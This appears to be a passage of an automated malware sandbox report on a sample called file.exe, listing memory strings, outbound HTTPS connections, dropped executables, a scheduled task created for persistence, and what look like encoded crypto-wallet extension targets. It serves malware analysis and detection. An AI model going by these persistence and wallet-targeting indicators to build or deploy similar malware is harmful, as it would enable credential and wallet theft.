Source: 8407c5d8e2.exe, 00000024.00000003.2600763999.000000000558D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: file.exe, 00000000.00000002.2025550529.0000000000D56000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: file.exe, 00000000.00000003.1946198929.00000000241CA000.00000004.00000020.00020000.00000000.sdmp, 8407c5d8e2.exe, 0000001B.00000003.2309061180.0000000005D2A000.00000004.00000800.00020000.00000000.sdmp, 8407c5d8e2.exe, 0000001F.00000003.2427470805.0000000005772000.00000004.00000800.00020000.00000000.sdmp, 8407c5d8e2.exe, 00000024.00000003.2600763999.000000000558D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: file.exe, 00000000.00000002.2025550529.0000000000D56000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/kZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGp
Source: file.exe, 00000000.00000002.2025550529.0000000000D56000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/vRm9ybXxwbmxjY21vamNtZW9obHBnZ21mbmJiaWFwa21ibGlvYnwxfDB8MHx
Source: chrome.exe, 00000003.00000003.1542541565.000024D80129C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/s/notifications/manifest/cr_install.html
Source: chrome.exe, 00000003.00000003.1542541565.000024D80129C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/s/notifications/manifest/cr_install.htmllt

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49865
Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49864
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49862
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49861
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49860
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49898 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49875 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49858
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49855
Source: unknown	Network traffic detected: HTTP traffic on port 49841 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49854
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49852
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49851
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49858 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49893 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49849
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49869 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49841
Source: unknown	Network traffic detected: HTTP traffic on port 49834 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49892 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49828 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49837
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49836
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49835
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49834
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49833
Source: unknown	Network traffic detected: HTTP traffic on port 49887 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49832
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49831
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49830
Source: unknown	Network traffic detected: HTTP traffic on port 49864 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49822 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49870 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49829
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49828
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49827
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49826
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49825
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49824
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49823
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49822
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49676 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49836 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 49885 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49898
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49895
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 49862 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49893
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49892
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49890
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49879 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49802 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49851 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49830 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49888
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49887
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49885
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49882
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49824 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49879
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49877
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49875
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49874
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49871
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49870
Source: unknown	Network traffic detected: HTTP traffic on port 49835 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49874 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49829 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49869
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49867
Source: unknown	Network traffic detected: HTTP traffic on port 49890 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49849 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49900 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49820 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49837 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49855 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49861 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49819 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49793 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49831 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 49895 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49808 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49867 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49821
Source: unknown	Network traffic detected: HTTP traffic on port 49865 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49820
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49871 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49833 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49819
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49810 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49817
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49816
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49815
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49814
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49813
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49812
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49811
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49810
Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49794 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49809
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49808
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49807
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49806
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49805
Source: unknown	Network traffic detected: HTTP traffic on port 49882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49804
Source: unknown	Network traffic detected: HTTP traffic on port 49773 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49803
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49802
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49801
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49800
Source: unknown	Network traffic detected: HTTP traffic on port 49821 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49877 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49854 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49809 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49832 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49900
Source: unknown	Network traffic detected: HTTP traffic on port 49888 -> 443

Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.8:49720 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.149.20.212:443 -> 192.168.2.8:49723 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.8:49726 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.126.32.68:443 -> 192.168.2.8:49750 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.149.20.212:443 -> 192.168.2.8:49841 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.8:49849 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.8:49851 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.8:49852 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.8:49854 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.8:49855 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.8:49858 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.8:49864 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.8:49865 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.8:49867 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.8:49871 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.8:49874 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.8:49875 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.8:49877 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.8:49879 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.8:49882 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.8:49887 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.8:49888 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.8:49890 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.8:49892 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.8:49893 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.8:49895 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.8:49898 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.8:49900 version: TLS 1.2

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name: .idata
Source: DocumentsEGHJKFHJJJ.exe.0.dr	Static PE information: section name:
Source: DocumentsEGHJKFHJJJ.exe.0.dr	Static PE information: section name: .idata
Source: skotes.exe.24.dr	Static PE information: section name:
Source: skotes.exe.24.dr	Static PE information: section name: .idata
Source: random[1].exe.25.dr	Static PE information: section name:
Source: random[1].exe.25.dr	Static PE information: section name: .idata
Source: 8407c5d8e2.exe.25.dr	Static PE information: section name:
Source: 8407c5d8e2.exe.25.dr	Static PE information: section name: .idata
Source: random[2].exe.25.dr	Static PE information: section name:
Source: random[2].exe.25.dr	Static PE information: section name: .rsrc
Source: random[2].exe.25.dr	Static PE information: section name: .idata
Source: random[2].exe.25.dr	Static PE information: section name:
Source: ef7349e1dc.exe.25.dr	Static PE information: section name:
Source: ef7349e1dc.exe.25.dr	Static PE information: section name: .rsrc
Source: ef7349e1dc.exe.25.dr	Static PE information: section name: .idata
Source: ef7349e1dc.exe.25.dr	Static PE information: section name:
Source: random[1].exe0.25.dr	Static PE information: section name:
Source: random[1].exe0.25.dr	Static PE information: section name: .idata
Source: ae09953578.exe.25.dr	Static PE information: section name:
Source: ae09953578.exe.25.dr	Static PE information: section name: .idata

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 25_2_0086CB97 NtFlushProcessWriteBuffers,NtFlushProcessWriteBuffers,

25_2_0086CB97

Source: C:\Users\user\DocumentsEGHJKFHJJJ.exe

File created: C:\Windows\Tasks\skotes.job

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBEECD0	0_2_6CBEECD0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB8ECC0	0_2_6CB8ECC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC56C00	0_2_6CC56C00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB9AC60	0_2_6CB9AC60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC6AC30	0_2_6CC6AC30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB94DB0	0_2_6CB94DB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CD1CDC0	0_2_6CD1CDC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC26D90	0_2_6CC26D90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CCBAD50	0_2_6CCBAD50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC5ED70	0_2_6CC5ED70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CD18D20	0_2_6CD18D20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC30EC0	0_2_6CC30EC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC16E90	0_2_6CC16E90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB9AEC0	0_2_6CB9AEC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC2EE70	0_2_6CC2EE70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC70E20	0_2_6CC70E20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB9EFB0	0_2_6CB9EFB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC6EFF0	0_2_6CC6EFF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB90FE0	0_2_6CB90FE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CCD8FB0	0_2_6CCD8FB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB96F10	0_2_6CB96F10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC52F70	0_2_6CC52F70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CCD0F20	0_2_6CCD0F20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBFEF40	0_2_6CBFEF40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC7C8C0	0_2_6CC7C8C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC968E0	0_2_6CC968E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC64840	0_2_6CC64840
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBE0820	0_2_6CBE0820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC1A820	0_2_6CC1A820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CCAC9E0	0_2_6CCAC9E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBC49F0	0_2_6CBC49F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC209A0	0_2_6CC209A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC4A9A0	0_2_6CC4A9A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC509B0	0_2_6CC509B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBE6900	0_2_6CBE6900
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBC8960	0_2_6CBC8960
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC0EA80	0_2_6CC0EA80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC0CA70	0_2_6CC0CA70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC3EA00	0_2_6CC3EA00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC48A30	0_2_6CC48A30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC7EBD0	0_2_6CC7EBD0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC96BE0	0_2_6CC96BE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC30BA0	0_2_6CC30BA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC2A4D0	0_2_6CC2A4D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CCBA480	0_2_6CCBA480
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBD64D0	0_2_6CBD64D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBF4420	0_2_6CBF4420
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBA8460	0_2_6CBA8460
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC1A430	0_2_6CC1A430
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB845B0	0_2_6CB845B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC5A5E0	0_2_6CC5A5E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC1E5F0	0_2_6CC1E5F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC94540	0_2_6CC94540
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CCD8550	0_2_6CCD8550
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC30570	0_2_6CC30570
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBF2560	0_2_6CBF2560
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBE8540	0_2_6CBE8540
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC2E6E0	0_2_6CC2E6E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBEE6E0	0_2_6CBEE6E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBB46D0	0_2_6CBB46D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBEC650	0_2_6CBEC650
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBBA7D0	0_2_6CBBA7D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC10700	0_2_6CC10700
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBA00B0	0_2_6CBA00B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB88090	0_2_6CB88090
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC6C0B0	0_2_6CC6C0B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC5C000	0_2_6CC5C000
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBDE070	0_2_6CBDE070
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC58010	0_2_6CC58010
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB901E0	0_2_6CB901E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC06130	0_2_6CC06130
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC74130	0_2_6CC74130
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBF8140	0_2_6CBF8140
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CD162C0	0_2_6CD162C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC622A0	0_2_6CC622A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC5E2B0	0_2_6CC5E2B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC28250	0_2_6CC28250
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC18260	0_2_6CC18260
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC5A210	0_2_6CC5A210
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC68220	0_2_6CC68220
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBEE3B0	0_2_6CBEE3B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBC23A0	0_2_6CBC23A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBE43E0	0_2_6CBE43E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CCAC360	0_2_6CCAC360
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC26370	0_2_6CC26370
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CCD2370	0_2_6CCD2370
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB92370	0_2_6CB92370
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC02320	0_2_6CC02320
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB98340	0_2_6CB98340
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CCCDCD0	0_2_6CCCDCD0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC51CE0	0_2_6CC51CE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC2FC80	0_2_6CC2FC80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBA1C30	0_2_6CBA1C30
